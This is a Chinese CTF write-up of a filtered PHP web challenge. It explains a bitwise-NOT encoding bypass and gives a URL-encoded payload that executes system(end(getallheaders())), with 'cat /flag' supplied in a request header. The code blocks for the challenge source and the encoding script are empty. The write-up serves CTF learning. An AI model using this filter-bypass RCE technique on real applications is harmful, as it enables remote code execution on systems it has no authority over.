前日,Gq师傅出了一道简单的web题,做完后简析一下
题目
1 |
|
题目对数字,字母都进行了过滤,还对传入的字符串进行了限制,不得长于70,且过滤了^
,因此考虑取反绕过,还对传入code
进行了正则匹配
解析
根据Gq师傅给出的小tips
- ?code=[~%8F%97%8F%96%91%99%90]!%FF;
- php 二维数组能够构造字符串
['phpinfo'][false]
可以构建一个字符串phpinfo
1 | ?code=[~%8F%97%8F%96%91%99%90][!%FF](); |
这个payload是对phpinfo
取反后构建的字符串
附取反脚本
1 |
|
解题
题目多重套娃,典型的无参数RCE题目,且过滤了^
,因此考虑取反绕过
我们可以用getallheaders()
来解题
逐一进行取反并构造函数即可
例如system
最后得出payload
1 | [~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())); |
再在http请求头处加上一个cat /flag
即可